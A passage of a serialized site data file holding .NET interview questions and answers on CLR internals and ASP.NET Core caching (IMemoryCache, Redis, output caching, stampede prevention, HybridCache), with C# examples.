stack\" is a simplification true only for\nlocal variables and parameters. `Span\u003CT>` and `ref struct` types are designed to be\nstack-only to enable safe, zero-copy buffer operations.\n\n**Rule of thumb:** Stack allocation is free and deterministic; heap allocation\nincurs GC pressure. For hot loops, prefer value types and `Span\u003CT>` to avoid heap\nallocations.\n",{"id":455,"difficulty":206,"q":456,"a":457},"tiered-compilation","What is tiered compilation in .NET and how does it improve performance?","**Tiered compilation** (enabled by default since .NET Core 3.0) allows the JIT to\ncompile methods multiple times at increasing optimisation levels, trading startup\nspeed for peak throughput.\n\n```csharp\n\u002F\u002F You write:\nint Sum(int a, int b) => a + b;\n\n\u002F\u002F Tier 0 (first call): compiled quickly with minimal optimisation\n\u002F\u002F → fast startup, no inlining, no loop unrolling\n\n\u002F\u002F After the method is called enough times (instrumented with call counters):\n\u002F\u002F Tier 1 (hot method): recompiled with full optimisation\n\u002F\u002F → inlined, loop-unrolled, register-allocated aggressively\n\n\u002F\u002F Disable via environment variable (for benchmarking):\n\u002F\u002F DOTNET_TieredCompilation=0\n```\n\nTier 0 uses **instrumentation stubs** to count calls. Once a method crosses a\nthreshold, the runtime queues it for **tier 1** recompilation on a background thread.\nThe old tier 0 code stays active until tier 1 is ready, then the call-site patch\nis swapped atomically.\n\n**ReadyToRun (R2R)** is a related feature that pre-compiles IL to native code at\npublish time, providing faster startup (like AOT) while still allowing tier 1\nrecompilation at runtime for peak performance.\n\n**Rule of thumb:** Tiered compilation is transparent — leave it on. If you're\nmicro-benchmarking (BenchmarkDotNet), disable it or let the benchmark harness warm\nup properly before measuring.\n",{"id":459,"difficulty":96,"q":460,"a":461},"appdomains-and-isolation","What is an AppDomain and how does process isolation work in modern .NET?","An **AppDomain** was the .NET Framework mechanism for isolating multiple logical\napplications within a single process. It provided separate heaps, separate type\nsystems, and remoting between domains. In **.NET Core and .NET 5+**, AppDomains are\nlargely removed — there is only one AppDomain per process.\n\n```csharp\n\u002F\u002F .NET Framework: create a sandbox domain (no longer works in .NET Core)\n\u002F\u002F var domain = AppDomain.CreateDomain(\"Sandbox\");\n\u002F\u002F domain.ExecuteAssembly(\"plugin.dll\");\n\n\u002F\u002F .NET 5+ equivalent: AssemblyLoadContext for plugin isolation\nvar context = new System.Runtime.Loader.AssemblyLoadContext(\"Plugin\", isCollectible: true);\nvar asm = context.LoadFromAssemblyPath(\"\u002Fpath\u002Fto\u002Fplugin.dll\");\nvar type = asm.GetType(\"Plugin.EntryPoint\");\n\u002F\u002F ... invoke methods via reflection ...\n\n\u002F\u002F Unload the context (and all assemblies in it) when done:\ncontext.Unload();\n\n\u002F\u002F True process isolation still requires separate processes:\n\u002F\u002F var proc = Process.Start(new ProcessStartInfo(\"dotnet\", \"plugin.dll\"));\n```\n\n**AssemblyLoadContext (ALC)** is the modern replacement: it provides assembly\nisolation and — when marked `isCollectible: true` — the ability to unload\nassemblies, which is crucial for hot-reload plugin systems.\n\n**Rule of thumb:** Forget AppDomains for .NET Core\u002F5+ work. Use\n`AssemblyLoadContext` for plugin loading and unloading. For true security\nisolation, use separate processes or containers.\n",{"id":463,"difficulty":96,"q":464,"a":465},"clr-exceptions","How does the CLR handle exceptions — what happens when an exception is thrown?","When an exception is thrown, the CLR unwinds the call stack looking for a matching\n`catch` handler. If none is found, the process terminates (with an unhandled-exception\nevent fired first). The mechanism relies on **Structured Exception Handling (SEH)**\nat the OS level on Windows and equivalent mechanisms on Linux\u002FmacOS.\n\n```csharp\nvoid Outer()\n{\n    try\n    {\n        Inner();\n    }\n    catch (InvalidOperationException ex)\n    {\n        \u002F\u002F CLR walked up the stack, found this handler\n        Console.WriteLine(ex.Message);\n    }\n    finally\n    {\n        \u002F\u002F Always runs — even if no catch matched, after the handler runs\n        Console.WriteLine(\"cleanup\");\n    }\n}\n\nvoid Inner()\n{\n    \u002F\u002F Note: rethrowing with 'throw' preserves the original stack trace\n    \u002F\u002F Rethrowing with 'throw ex' resets the stack trace — avoid that\n    try { DoWork(); }\n    catch { throw; } \u002F\u002F Good: preserves original stack trace\n}\n```\n\nThe CLR distinguishes **first-chance exceptions** (before any handler runs — useful\nfor debuggers) from **second-chance exceptions** (unhandled). The `finally` block\nruns after the matching `catch` block, or during stack unwinding if no handler\nis found in the current frame.\n\n**Rule of thumb:** Always rethrow with bare `throw`, never `throw ex` — the latter\ndestroys the original stack trace. Use `finally` for cleanup, not to swallow\nexceptions.\n",{"description":94},"How the .NET CLR executes managed code — IL, JIT compilation, garbage collection, the Common Type System, and the assembly model.","dotnet\u002Ffundamentals\u002Fclr-runtime","CLR Runtime","2026-06-22","VAonIsovnk1_RDbbYm1pGfCC2Krl14sKnbIOEMux4bY",{"id":473,"title":474,"body":475,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":479,"navigation":99,"order":13,"path":480,"questions":481,"questionsCount":163,"related":164,"seo":542,"seoDescription":543,"stem":544,"subtopic":474,"topic":81,"topicSlug":83,"updated":168,"__hash__":545},"qa\u002Fdotnet\u002Fperformance-deployment\u002Fcaching.md","Caching",{"type":91,"value":476,"toc":477},[],{"title":94,"searchDepth":29,"depth":29,"links":478},[],{},"\u002Fdotnet\u002Fperformance-deployment\u002Fcaching",[482,486,490,494,498,502,506,510,514,518,522,526,530,534,538],{"id":483,"difficulty":104,"q":484,"a":485},"why-cache","Why is caching important in ASP.NET Core applications?","Caching stores the result of an expensive operation so subsequent requests can\nbe served from fast memory instead of re-computing or re-querying. It reduces\nlatency, cuts database load, and improves throughput under high concurrency.\n\n```csharp\n\u002F\u002F Without caching — every request hits the database:\npublic async Task\u003CIEnumerable\u003CProduct>> GetProductsAsync()\n    => await _db.Products.ToListAsync(); \u002F\u002F ~50 ms per call\n\n\u002F\u002F With IMemoryCache — first call populates, subsequent calls \u003C 1 ms:\npublic async Task\u003CIEnumerable\u003CProduct>> GetProductsAsync()\n{\n    if (_cache.TryGetValue(\"products:all\", out IEnumerable\u003CProduct>? cached))\n        return cached!;\n\n    var products = await _db.Products.ToListAsync();\n\n    _cache.Set(\"products:all\", products, TimeSpan.FromMinutes(5));\n    return products;\n}\n```\n\nThe three canonical reasons to cache:\n1. **Expensive queries** — database joins, aggregations, full-text search\n2. **External API calls** — rate-limited or slow third-party services\n3. **Computed results** — serialization, report generation, complex calculations\n\n**Rule of thumb:** Cache data that is read far more often than it changes and\nwhere a slightly stale value is acceptable. Never cache security-sensitive data\n(session tokens, permissions) without careful thought about invalidation.\n",{"id":487,"difficulty":104,"q":488,"a":489},"imemorycache","How do you use IMemoryCache in ASP.NET Core?","`IMemoryCache` is an in-process, per-server cache backed by `ConcurrentDictionary`.\nIt is registered by default in ASP.NET Core and injected like any service.\n\n```csharp\n\u002F\u002F Registration (already included in most default templates):\nbuilder.Services.AddMemoryCache();\n\n\u002F\u002F Injection and usage:\npublic class ProductService\n{\n    private readonly IMemoryCache   _cache;\n    private readonly AppDbContext   _db;\n\n    public ProductService(IMemoryCache cache, AppDbContext db)\n    {\n        _cache = cache;\n        _db    = db;\n    }\n\n    public async Task\u003CProduct?> GetByIdAsync(int id)\n    {\n        var key = $\"product:{id}\";\n\n        \u002F\u002F GetOrCreateAsync — atomic \"get or populate\" in one call:\n        return await _cache.GetOrCreateAsync(key, async entry =>\n        {\n            entry.AbsoluteExpirationRelativeToNow = TimeSpan.FromMinutes(10);\n            entry.SlidingExpiration               = TimeSpan.FromMinutes(2);\n            entry.Priority                        = CacheItemPriority.Normal;\n\n            return await _db.Products.FindAsync(id);\n        });\n    }\n\n    public void Invalidate(int id) => _cache.Remove($\"product:{id}\");\n}\n```\n\nKey options:\n- `AbsoluteExpirationRelativeToNow` — evict after a fixed duration from insertion\n- `SlidingExpiration` — evict if not accessed for this duration (reset on each access)\n- `Priority` — controls eviction order under memory pressure (`Low` evicted first)\n\n**Rule of thumb:** `IMemoryCache` is ideal for single-server deployments and data\nthat fits in process memory. For multi-server deployments use `IDistributedCache`\n(Redis) so all instances share the same cache.\n",{"id":491,"difficulty":96,"q":492,"a":493},"idistributedcache","What is IDistributedCache and how does it differ from IMemoryCache?","`IDistributedCache` is an abstraction for a shared, out-of-process cache.\nMultiple application instances read and write the same cache store, so there\nis no inconsistency between servers. Redis and SQL Server are the most common\nimplementations.\n\n```csharp\n\u002F\u002F Registration — Redis:\nbuilder.Services.AddStackExchangeRedisCache(opts =>\n{\n    opts.Configuration = builder.Configuration.GetConnectionString(\"Redis\");\n    opts.InstanceName  = \"myapp:\";\n});\n\n\u002F\u002F Or in-memory (for dev\u002Ftest, single process only):\nbuilder.Services.AddDistributedMemoryCache();\n\n\u002F\u002F Usage — IDistributedCache works with byte[] or string:\npublic class ProductService\n{\n    private readonly IDistributedCache _cache;\n\n    public async Task\u003CProduct?> GetByIdAsync(int id)\n    {\n        var key  = $\"product:{id}\";\n        var json = await _cache.GetStringAsync(key);\n\n        if (json is not null)\n            return JsonSerializer.Deserialize\u003CProduct>(json);\n\n        var product = await _db.Products.FindAsync(id);\n        if (product is null) return null;\n\n        await _cache.SetStringAsync(key,\n            JsonSerializer.Serialize(product),\n            new DistributedCacheEntryOptions\n            {\n                AbsoluteExpirationRelativeToNow = TimeSpan.FromMinutes(10),\n                SlidingExpiration               = TimeSpan.FromMinutes(2),\n            });\n\n        return product;\n    }\n\n    public async Task InvalidateAsync(int id)\n        => await _cache.RemoveAsync($\"product:{id}\");\n}\n```\n\n| | IMemoryCache | IDistributedCache |\n|-|--------------|-------------------|\n| Scope | Single process | All instances |\n| Speed | \u003C 1 ms | ~1–5 ms (network) |\n| Capacity | Limited by RAM | Redis cluster capacity |\n| Consistency | Per-server | Shared |\n\n**Rule of thumb:** Use `IMemoryCache` on single-server deployments or for\ntransient per-request data. Use `IDistributedCache` (Redis) whenever you run\nmore than one application instance.\n",{"id":495,"difficulty":96,"q":496,"a":497},"cache-aside-pattern","What is the cache-aside pattern and how is it implemented in .NET?","**Cache-aside** (lazy loading) means the application manages the cache\nexplicitly: check the cache first, fetch from the source on a miss, write\nback to the cache, then return. The cache is a side structure that the\napplication populates on demand.\n\n```csharp\n\u002F\u002F Generic cache-aside helper — eliminates repeated boilerplate:\npublic static class CacheExtensions\n{\n    public static async Task\u003CT?> GetOrSetAsync\u003CT>(\n        this IDistributedCache cache,\n        string key,\n        Func\u003CTask\u003CT?>> factory,\n        TimeSpan expiry)\n    {\n        var json = await cache.GetStringAsync(key);\n        if (json is not null)\n            return JsonSerializer.Deserialize\u003CT>(json);\n\n        var value = await factory();     \u002F\u002F 1. MISS — call the source\n        if (value is not null)\n            await cache.SetStringAsync(  \u002F\u002F 2. POPULATE the cache\n                key,\n                JsonSerializer.Serialize(value),\n                new DistributedCacheEntryOptions\n                    { AbsoluteExpirationRelativeToNow = expiry });\n\n        return value;                    \u002F\u002F 3. RETURN to caller\n    }\n}\n\n\u002F\u002F Call site is now one line:\nvar product = await _cache.GetOrSetAsync(\n    $\"product:{id}\",\n    () => _db.Products.FindAsync(id).AsTask(),\n    TimeSpan.FromMinutes(10));\n\n\u002F\u002F On write — invalidate the cache entry so the next read is fresh:\nawait _db.SaveChangesAsync();\nawait _cache.RemoveAsync($\"product:{id}\");\n```\n\nThe alternative is **write-through**: update the cache at the same time as\nthe source. Write-through keeps the cache warm but adds write latency and\ncomplexity when the write fails.\n\n**Rule of thumb:** Use cache-aside when reads are much more frequent than\nwrites and a brief window of stale data is acceptable. Use write-through\nfor write-heavy workloads where staleness is not tolerable.\n",{"id":499,"difficulty":96,"q":500,"a":501},"response-caching","What is response caching in ASP.NET Core and how do you enable it?","**Response caching** caches the full HTTP response at the middleware level,\nkeyed by URL and `Vary` headers. It avoids running the controller and service\nlayer entirely on cache hits.\n\n```csharp\n\u002F\u002F Program.cs:\nbuilder.Services.AddResponseCaching();\n\u002F\u002F ...\napp.UseResponseCaching(); \u002F\u002F must come before routing \u002F endpoints\n\n\u002F\u002F Controller or action — [ResponseCache] sets the Cache-Control header:\n[HttpGet(\"products\")]\n[ResponseCache(Duration = 60, VaryByQueryKeys = new[] { \"page\", \"size\" })]\npublic async Task\u003CIActionResult> GetProducts(int page = 1, int size = 20)\n{\n    var products = await _productService.GetPageAsync(page, size);\n    return Ok(products);\n}\n\n\u002F\u002F Equivalent header set by the above:\n\u002F\u002F Cache-Control: public, max-age=60\n\u002F\u002F Vary: page, size\n\n\u002F\u002F Profile — reuse settings across multiple actions:\nbuilder.Services.AddControllersWithViews(opts =>\n{\n    opts.CacheProfiles.Add(\"5MinutePublic\", new CacheProfile\n    {\n        Duration = 300,\n        Location = ResponseCacheLocation.Any,\n    });\n});\n\n[ResponseCache(CacheProfileName = \"5MinutePublic\")]\npublic IActionResult StaticData() => Ok(_staticData);\n```\n\nResponse caching only works for GET\u002FHEAD requests, non-authenticated responses,\nand when no `Authorization` header is present. It relies on the client or a\nproxy honouring `Cache-Control`.\n\n**Rule of thumb:** Use response caching for public, read-only endpoints that\nreturn the same data for all users. For per-user or authenticated responses,\nuse `IMemoryCache` or `IDistributedCache` at the service layer instead.\n",{"id":503,"difficulty":96,"q":504,"a":505},"output-caching","What is output caching in .NET 7+ and how does it differ from response caching?","**Output caching** (introduced in .NET 7) caches the rendered endpoint output\non the server. Unlike response caching, it is server-controlled and works\nregardless of client `Cache-Control` headers or `Authorization` headers.\n\n```csharp\n\u002F\u002F Program.cs:\nbuilder.Services.AddOutputCache(opts =>\n{\n    \u002F\u002F Named policy — reuse across multiple endpoints:\n    opts.AddPolicy(\"5min\", policy => policy.Expire(TimeSpan.FromMinutes(5)));\n\n    \u002F\u002F Base policy — applies to all endpoints unless overridden:\n    opts.AddBasePolicy(policy => policy.Expire(TimeSpan.FromSeconds(60)));\n});\n\napp.UseOutputCache(); \u002F\u002F after UseRouting, before endpoints\n\n\u002F\u002F Apply to a minimal API endpoint:\napp.MapGet(\"\u002Fproducts\", async (AppDbContext db) => await db.Products.ToListAsync())\n   .CacheOutput(\"5min\");\n\n\u002F\u002F Apply to a controller action:\n[HttpGet]\n[OutputCache(PolicyName = \"5min\")]\npublic async Task\u003CIActionResult> GetProducts()\n    => Ok(await _service.GetAllAsync());\n\n\u002F\u002F Vary by query string parameter:\nopts.AddPolicy(\"ByPage\", policy =>\n    policy.SetVaryByQuery(\"page\", \"size\").Expire(TimeSpan.FromMinutes(5)));\n\n\u002F\u002F Tag-based invalidation — evict cache entries by tag:\n[HttpPost]\npublic async Task\u003CIActionResult> UpdateProduct(Product p)\n{\n    await _service.UpdateAsync(p);\n    await _outputCacheStore.EvictByTagAsync(\"products\", ct); \u002F\u002F invalidate\n    return NoContent();\n}\n```\n\nKey difference from response caching: output caching caches on the server\nand can cache authenticated responses and vary on any request property (headers,\nroute values, custom values). Response caching is HTTP cache semantics delegated\nto the client or proxy.\n\n**Rule of thumb:** Prefer output caching in .NET 7+ — it gives you server-side\ncontrol, tag-based invalidation, and works with authenticated endpoints. Use\nresponse caching only when you need standard HTTP cache semantics for CDN or\nproxy caching.\n",{"id":507,"difficulty":96,"q":508,"a":509},"cache-invalidation","What are the main strategies for cache invalidation in .NET?","Cache invalidation is famously hard because stale data causes correctness bugs\nwhile over-invalidation erases all performance benefit.\n\n```csharp\n\u002F\u002F Strategy 1: TTL (Time-To-Live) expiry — simplest, always stale briefly\n_cache.Set(\"products:all\", products,\n    new MemoryCacheEntryOptions\n    {\n        AbsoluteExpirationRelativeToNow = TimeSpan.FromMinutes(5),\n    });\n\n\u002F\u002F Strategy 2: Explicit removal on write — fresh immediately after mutation\npublic async Task UpdateProductAsync(Product product)\n{\n    await _db.SaveChangesAsync();\n    _cache.Remove($\"product:{product.Id}\");   \u002F\u002F evict specific entry\n    _cache.Remove(\"products:all\");              \u002F\u002F evict collection\n}\n\n\u002F\u002F Strategy 3: Cache tags (output cache) — evict by semantic group\napp.MapPut(\"\u002Fproducts\u002F{id}\", async (int id, Product p, IOutputCacheStore store, CancellationToken ct) =>\n{\n    await _db.SaveChangesAsync();\n    await store.EvictByTagAsync(\"products\", ct); \u002F\u002F evicts all \"products\"-tagged entries\n});\napp.MapGet(\"\u002Fproducts\", GetAll).CacheOutput(p => p.Tag(\"products\"));\napp.MapGet(\"\u002Fproducts\u002F{id}\", GetOne).CacheOutput(p => p.Tag(\"products\"));\n\n\u002F\u002F Strategy 4: CancellationTokenSource — invalidate a group via token\nprivate CancellationTokenSource _productsCts = new();\n\n_cache.Set(\"products:all\", data, new MemoryCacheEntryOptions()\n    .AddExpirationToken(new CancellationChangeToken(_productsCts.Token)));\n\npublic void InvalidateAll()\n{\n    _productsCts.Cancel();\n    _productsCts = new CancellationTokenSource(); \u002F\u002F reset for next group\n}\n```\n\n**Rule of thumb:** Use TTL for data that can tolerate brief staleness (catalogs,\nreference data). Use explicit removal for data where staleness causes bugs\n(user profiles, inventory counts). Use tag-based eviction with output cache\nfor groups of related entries.\n",{"id":511,"difficulty":96,"q":512,"a":513},"redis-in-dotnet","How do you connect to Redis in .NET and what is it used for beyond caching?","**StackExchange.Redis** is the standard Redis client for .NET. Beyond\n`IDistributedCache`, it supports pub\u002Fsub, sorted sets, Lua scripting, and\ndistributed locks — patterns that go well beyond simple key\u002Fvalue caching.\n\n```csharp\n\u002F\u002F Install:\n\u002F\u002F dotnet add package StackExchange.Redis\n\u002F\u002F dotnet add package Microsoft.Extensions.Caching.StackExchangeRedis\n\n\u002F\u002F Program.cs — register both the cache and the raw connection:\nbuilder.Services.AddStackExchangeRedisCache(opts =>\n    opts.Configuration = \"localhost:6379,password=secret,abortConnect=false\");\n\n\u002F\u002F Direct access via IConnectionMultiplexer (for pub\u002Fsub, sets, etc.):\nbuilder.Services.AddSingleton\u003CIConnectionMultiplexer>(\n    ConnectionMultiplexer.Connect(\"localhost:6379\"));\n\n\u002F\u002F Distributed lock (prevents cache stampede):\npublic class InventoryService\n{\n    private readonly IConnectionMultiplexer _redis;\n\n    public async Task\u003Cint> GetStockAsync(string sku)\n    {\n        var db  = _redis.GetDatabase();\n        var key = $\"stock:{sku}\";\n\n        \u002F\u002F Try to acquire a lock so only one thread recomputes on a miss:\n        var lockKey   = $\"lock:{key}\";\n        var lockValue = Guid.NewGuid().ToString();\n        var acquired  = await db.StringSetAsync(lockKey, lockValue,\n            TimeSpan.FromSeconds(5), When.NotExists);\n\n        if (!acquired)\n        {\n            await Task.Delay(50);        \u002F\u002F wait and retry\n            return await GetStockAsync(sku);\n        }\n\n        try\n        {\n            var cached = await db.StringGetAsync(key);\n            if (cached.HasValue) return (int)cached;\n\n            var stock = await _db.Inventory.Where(i => i.Sku == sku).SumAsync(i => i.Qty);\n            await db.StringSetAsync(key, stock, TimeSpan.FromMinutes(1));\n            return stock;\n        }\n        finally { await db.KeyDeleteAsync(lockKey); }\n    }\n}\n```\n\nRedis use cases beyond caching: rate limiting (sliding window counters),\nsession storage, real-time leaderboards (sorted sets), pub\u002Fsub message fan-out,\nand distributed work queues.\n\n**Rule of thumb:** Use `IDistributedCache` for standard caching and configuration-\nswappable behavior. Use `IConnectionMultiplexer` directly only when you need\nRedis-specific data structures or pub\u002Fsub.\n",{"id":515,"difficulty":206,"q":516,"a":517},"cache-stampede","What is a cache stampede and how do you prevent it in .NET?","A **cache stampede** (also called \"thundering herd\") occurs when a popular cache\nentry expires and many concurrent requests all miss at the same time, all racing\nto rebuild it from the slow data source simultaneously.\n\n```csharp\n\u002F\u002F Problem — naive cache-aside under load:\n\u002F\u002F 1000 concurrent requests all miss → 1000 DB queries fire simultaneously\nif (!_cache.TryGetValue(key, out var value))\n{\n    value = await _db.Products.ToListAsync(); \u002F\u002F all 1000 threads hit here!\n    _cache.Set(key, value, TimeSpan.FromMinutes(5));\n}\n\n\u002F\u002F Solution 1: SemaphoreSlim — only one thread rebuilds, others wait:\nprivate static readonly SemaphoreSlim _lock = new(1, 1);\n\npublic async Task\u003CIEnumerable\u003CProduct>> GetProductsAsync()\n{\n    if (_cache.TryGetValue(\"products\", out IEnumerable\u003CProduct>? cached))\n        return cached!;\n\n    await _lock.WaitAsync();\n    try\n    {\n        \u002F\u002F Double-check after acquiring — another thread may have populated it:\n        if (_cache.TryGetValue(\"products\", out cached))\n            return cached!;\n\n        cached = await _db.Products.ToListAsync();\n        _cache.Set(\"products\", cached, TimeSpan.FromMinutes(5));\n        return cached;\n    }\n    finally { _lock.Release(); }\n}\n\n\u002F\u002F Solution 2: Lazy\u003CTask\u003CT>> per key — collapses concurrent misses into one op:\nprivate readonly ConcurrentDictionary\u003Cstring, Lazy\u003CTask\u003CIEnumerable\u003CProduct>>>> _locks = new();\n\npublic Task\u003CIEnumerable\u003CProduct>> GetProductsAsync()\n    => _locks.GetOrAdd(\"products\", _ => new Lazy\u003CTask\u003CIEnumerable\u003CProduct>>>(\n        () => _db.Products.ToListAsync())).Value;\n\n\u002F\u002F Solution 3: Probabilistic early refresh (background repopulation before expiry):\nentry.PostEvictionCallbacks.Add(new PostEvictionCallbackRegistration\n{\n    EvictionCallback = (k, v, r, s) =>\n    {\n        if (r == EvictionReason.Expired)\n            _ = Task.Run(() => RefreshCacheAsync(k.ToString()!));\n    }\n});\n```\n\n**Rule of thumb:** Use `SemaphoreSlim` with a double-check pattern for\nhigh-traffic endpoints. Background refresh is the most sophisticated approach\nbut adds complexity — reach for it only when measured latency spikes justify it.\n",{"id":519,"difficulty":96,"q":520,"a":521},"icacheentry-size","How do you limit memory usage in IMemoryCache?","By default, `IMemoryCache` has no size limit and can grow unbounded. You can\nset a size limit and assign a size cost to each entry to cap memory usage.\n\n```csharp\n\u002F\u002F Registration with size limit (units are arbitrary — just needs to be consistent):\nbuilder.Services.AddMemoryCache(opts =>\n{\n    opts.SizeLimit = 1024; \u002F\u002F max 1024 \"units\"\n});\n\n\u002F\u002F Each entry declares its size cost:\n_cache.Set(\"small-lookup\", value, new MemoryCacheEntryOptions\n{\n    Size     = 1,                                          \u002F\u002F costs 1 unit\n    Priority = CacheItemPriority.High,                     \u002F\u002F last to be evicted\n    AbsoluteExpirationRelativeToNow = TimeSpan.FromHours(1),\n});\n\n_cache.Set(\"large-dataset\", bigList, new MemoryCacheEntryOptions\n{\n    Size     = 50,                                         \u002F\u002F costs 50 units\n    Priority = CacheItemPriority.Low,                      \u002F\u002F evicted first under pressure\n    AbsoluteExpirationRelativeToNow = TimeSpan.FromMinutes(5),\n});\n\n\u002F\u002F Compact — manually free a percentage of cache:\nif (_cache is MemoryCache mc)\n    mc.Compact(0.25); \u002F\u002F evict 25% of items by priority\u002Fsize\u002Fexpiry\n\n\u002F\u002F Monitor cache stats:\nvar stats = mc.GetCurrentStatistics();\nConsole.WriteLine($\"Entries: {stats?.CurrentEntryCount}, \" +\n                  $\"Size: {stats?.CurrentEstimatedSize}\");\n```\n\nWithout `SizeLimit`, setting `Size` on entries has no effect. Both must be\nconfigured together.\n\n**Rule of thumb:** Set `SizeLimit` whenever cached entries vary significantly\nin size (e.g., large JSON blobs vs small integers). Without it, a burst of\nlarge entries can exhaust process memory silently.\n",{"id":523,"difficulty":96,"q":524,"a":525},"session-caching","How does ASP.NET Core session storage relate to caching, and how do you configure it?","ASP.NET Core **session** stores per-user state across requests using a session\ncookie. The session data is backed by `IDistributedCache`, so Redis or SQL\nServer can be used as the session store.\n\n```csharp\n\u002F\u002F Program.cs:\nbuilder.Services.AddDistributedMemoryCache(); \u002F\u002F or AddStackExchangeRedisCache\nbuilder.Services.AddSession(opts =>\n{\n    opts.IdleTimeout        = TimeSpan.FromMinutes(20); \u002F\u002F inactivity expiry\n    opts.Cookie.HttpOnly    = true;\n    opts.Cookie.IsEssential = true;   \u002F\u002F GDPR: always set the cookie\n    opts.Cookie.SecurePolicy = CookieSecurePolicy.Always;\n});\n\napp.UseSession(); \u002F\u002F after UseRouting, before endpoints\n\n\u002F\u002F Reading and writing session values:\napp.MapGet(\"\u002Fcart\u002Fcount\", (HttpContext ctx) =>\n{\n    var count = ctx.Session.GetInt32(\"CartCount\") ?? 0;\n    return Results.Ok(count);\n});\n\napp.MapPost(\"\u002Fcart\u002Fadd\", (HttpContext ctx) =>\n{\n    var count = (ctx.Session.GetInt32(\"CartCount\") ?? 0) + 1;\n    ctx.Session.SetInt32(\"CartCount\", count);\n    return Results.Ok(count);\n});\n\n\u002F\u002F Complex objects — serialize to JSON manually:\nctx.Session.SetString(\"Cart\", JsonSerializer.Serialize(cartItems));\nvar cart = JsonSerializer.Deserialize\u003CList\u003CCartItem>>(\n    ctx.Session.GetString(\"Cart\") ?? \"[]\");\n```\n\nSession is backed by `IDistributedCache` — switching from in-memory to Redis\nchanges only the `AddDistributedMemoryCache()` call, not the session code.\n\n**Rule of thumb:** Use session for lightweight per-user transient state (cart\nitem count, wizard step). Store larger or durable user data in a database\nkeyed by user ID, not in session.\n",{"id":527,"difficulty":206,"q":528,"a":529},"hybrid-cache","What is HybridCache in .NET 9 and why was it introduced?","**HybridCache** (introduced in .NET 9, available as a NuGet package for .NET 8)\ncombines a fast in-process L1 cache (`IMemoryCache`) with a shared L2 cache\n(`IDistributedCache` \u002F Redis). A cache hit serves from L1 in \u003C 1 ms; on L1\nmiss it checks L2 before falling back to the data source.\n\n```csharp\n\u002F\u002F Installation:\n\u002F\u002F dotnet add package Microsoft.Extensions.Caching.Hybrid\n\n\u002F\u002F Registration:\nbuilder.Services.AddHybridCache(opts =>\n{\n    opts.MaximumPayloadBytes         = 1024 * 1024; \u002F\u002F 1 MB max per entry\n    opts.DefaultEntryOptions = new HybridCacheEntryOptions\n    {\n        Expiration         = TimeSpan.FromMinutes(5),\n        LocalCacheExpiration = TimeSpan.FromMinutes(1), \u002F\u002F L1 evicts sooner\n    };\n});\n\n\u002F\u002F Usage — GetOrCreateAsync handles L1 hit, L2 hit, and source fetch:\npublic class ProductService\n{\n    private readonly HybridCache _cache;\n\n    public async ValueTask\u003CProduct?> GetByIdAsync(int id, CancellationToken ct)\n        => await _cache.GetOrCreateAsync(\n            $\"product:{id}\",\n            async cancel => await _db.Products.FindAsync(new object[] { id }, cancel),\n            cancellationToken: ct);\n\n    public async Task InvalidateAsync(int id)\n        => await _cache.RemoveAsync($\"product:{id}\");\n}\n```\n\nKey benefits over manual L1+L2 wiring:\n- **Stampede protection built in** — only one call to the factory per missing key\n- **Serialization handled** — no manual `JsonSerializer.Serialize` per call\n- **Tag-based invalidation** — `RemoveByTagAsync(\"products\")` evicts from both levels\n\n**Rule of thumb:** In .NET 9+, prefer `HybridCache` over manual `IMemoryCache` +\n`IDistributedCache` wiring. It solves stampede, serialization, and L1\u002FL2 sync\nin one abstraction.\n",{"id":531,"difficulty":206,"q":532,"a":533},"benchmark-cache","How do you measure the impact of caching on ASP.NET Core application performance?","Measuring cache effectiveness requires both micro-benchmarks (to measure the\ncache hit path) and load tests (to measure real-world throughput improvements).\n\n```csharp\n\u002F\u002F BenchmarkDotNet micro-benchmark — compare cached vs uncached:\n\u002F\u002F dotnet add package BenchmarkDotNet\n[MemoryDiagnoser]\npublic class ProductBenchmarks\n{\n    private readonly IMemoryCache  _cache = new MemoryCache(new MemoryCacheOptions());\n    private readonly FakeDbContext _db    = new();\n\n    [GlobalSetup]\n    public void Setup() => _cache.Set(\"products\", _db.Products.ToList());\n\n    [Benchmark(Baseline = true)]\n    public List\u003CProduct> NoCache()     => _db.Products.ToList();\n\n    [Benchmark]\n    public List\u003CProduct>? WithCache()  =>\n        _cache.TryGetValue(\"products\", out List\u003CProduct>? p) ? p : null;\n}\n\n\u002F\u002F Key cache metrics to track in production:\n\u002F\u002F - Hit rate (hits \u002F total requests): target > 90% for high-value entries\n\u002F\u002F - Miss latency: how long does a cache miss take vs a cache hit?\n\u002F\u002F - Eviction rate: high evictions → size limit too small or TTL too short\n\n\u002F\u002F Expose hit\u002Fmiss counters via metrics (System.Diagnostics.Metrics):\nprivate static readonly Counter\u003Clong> _hits   = Metrics.Meter.CreateCounter\u003Clong>(\"cache.hits\");\nprivate static readonly Counter\u003Clong> _misses = Metrics.Meter.CreateCounter\u003Clong>(\"cache.misses\");\n\npublic async Task\u003CProduct?> GetByIdAsync(int id)\n{\n    if (_cache.TryGetValue($\"product:{id}\", out Product? p))\n    {\n        _hits.Add(1, new TagList { { \"cache\", \"product\" } });\n        return p;\n    }\n    _misses.Add(1, new TagList { { \"cache\", \"product\" } });\n    \u002F\u002F ... fetch and populate\n    return p;\n}\n```\n\n**Rule of thumb:** Measure before and after. A cache that is never hit (low hit\nrate) wastes memory. A cache that is invalidated too aggressively offers no\nbenefit. Track hit rate per cache key in production dashboards.\n",{"id":535,"difficulty":96,"q":536,"a":537},"cache-warming","What is cache warming and how do you implement it in ASP.NET Core?","**Cache warming** (also called pre-population) loads frequently accessed data\ninto the cache at application startup, before the first real request arrives.\nThis avoids a burst of slow cache misses immediately after a deployment.\n\n```csharp\n\u002F\u002F IHostedService that runs once at startup to populate the cache:\npublic class CacheWarmupService : IHostedService\n{\n    private readonly IMemoryCache  _cache;\n    private readonly AppDbContext  _db;\n    private readonly ILogger\u003CCacheWarmupService> _logger;\n\n    public CacheWarmupService(\n        IMemoryCache cache,\n        AppDbContext db,\n        ILogger\u003CCacheWarmupService> logger)\n    {\n        _cache  = cache;\n        _db     = db;\n        _logger = logger;\n    }\n\n    public async Task StartAsync(CancellationToken ct)\n    {\n        _logger.LogInformation(\"Warming caches...\");\n\n        \u002F\u002F Load reference data that every request needs:\n        var categories = await _db.Categories\n            .AsNoTracking()\n            .ToListAsync(ct);\n\n        _cache.Set(\"categories:all\", categories, new MemoryCacheEntryOptions\n        {\n            AbsoluteExpirationRelativeToNow = TimeSpan.FromHours(1),\n            Priority = CacheItemPriority.NeverRemove, \u002F\u002F do not evict under pressure\n        });\n\n        var topProducts = await _db.Products\n            .OrderByDescending(p => p.Views)\n            